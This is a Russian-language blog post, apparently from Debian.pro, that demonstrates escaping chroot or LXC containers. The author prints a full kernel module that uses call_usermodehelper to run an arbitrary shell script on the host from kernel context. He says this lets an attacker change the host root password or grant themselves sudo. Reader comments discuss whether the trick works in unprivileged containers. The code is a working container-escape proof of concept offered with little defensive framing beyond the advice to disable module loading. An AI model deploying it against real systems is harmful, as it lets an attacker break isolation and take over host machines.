Debian.pro

Про Debian


Как я LXC хакал. Или история о том, как байпассить chroot и lxc.

Собственно, все вы знаете, что я на каждом столбе пишу о том, что выйти из чрута (или lxc, если не запретить загрузку модулей ядра) можно, и даже очень легко. Наверное, пришло время пруфов.
Смысл в том, что если вы можете загружать произвольные модули ядра в основную систему (а будучи рутом в чруте — можете) — то вы можете всё, независимо от того, что о ваших правах думают те, кто создавал вам «изолированную» среду. Точнее, вы можете поменять рутовый пароль или выдать себе sudo в основной системе — ну а дальше дело техники.
Я привожу код модуля ядра, который выполнит в контексте ядра нужный нам sh-скрипт. Так как я не люблю скрипт-киддисов, то пояснять я ничего не буду. А тем, кто поймет, о чём там и сможет использовать — добро пожаловать в высшую лигу (у нас вакансии есть кстати, ага). И да — конечно же, там есть две буквы, которые всё сломали.

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/kmod.h>

int init_module(void)
{
        printk(KERN_INFO "init_module() called\n");
        /* argv[0] = "/bin/bash";
        argv[1] = "-v";
        argv[2] = "/path/to/happy-hacking.sh";
        argv[3] = NULL;
        envp[0] = "HOME=/";
        envp[1] = "TERM=linux";
        envp[2] = "PATH=/sbin:/usr/sbin:/bin:/usr/bin";
        envp[3] = NULL;*/

        const char* argv[] = { "/bin/bash", "-v", "/path/to/happy-hacking.sh", NULL };
        const char* envp[] = {"HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL };

        call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);

        /* char * envp[] = { "HOME=/", NULL };
        char * argv[] = { "/bin/ls", NULL };

        call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);*/

        return 0;
}

void cleanup_module(void)
{
        printk(KERN_INFO "cleanup_module() called\n");
}


Комментарии (4):

  1. FiX :

    В unprivileged lxcc не сработает, как я понимаю?
    Unprivileged в плане безопасности не ковырял?

  2. Не ковырял.
    Но там всё так же — если unprivileged-контейнеру разрешено подгружать произвольные модули ядра, то сработает. Если нельзя — то не сработает.

    Так то и для обычных контейнеров подгрузку модулей можно отключить.

  3. FiX :

    А как unprivileged-контейнер загрузит модуль, если root в нем имеет отличный от 0 UID?

  4. А черт знает =)

    Пробовать надо — может и сможет. Должны же контейнеры уметь загружать всякие mangle/nat.

Написать комментарий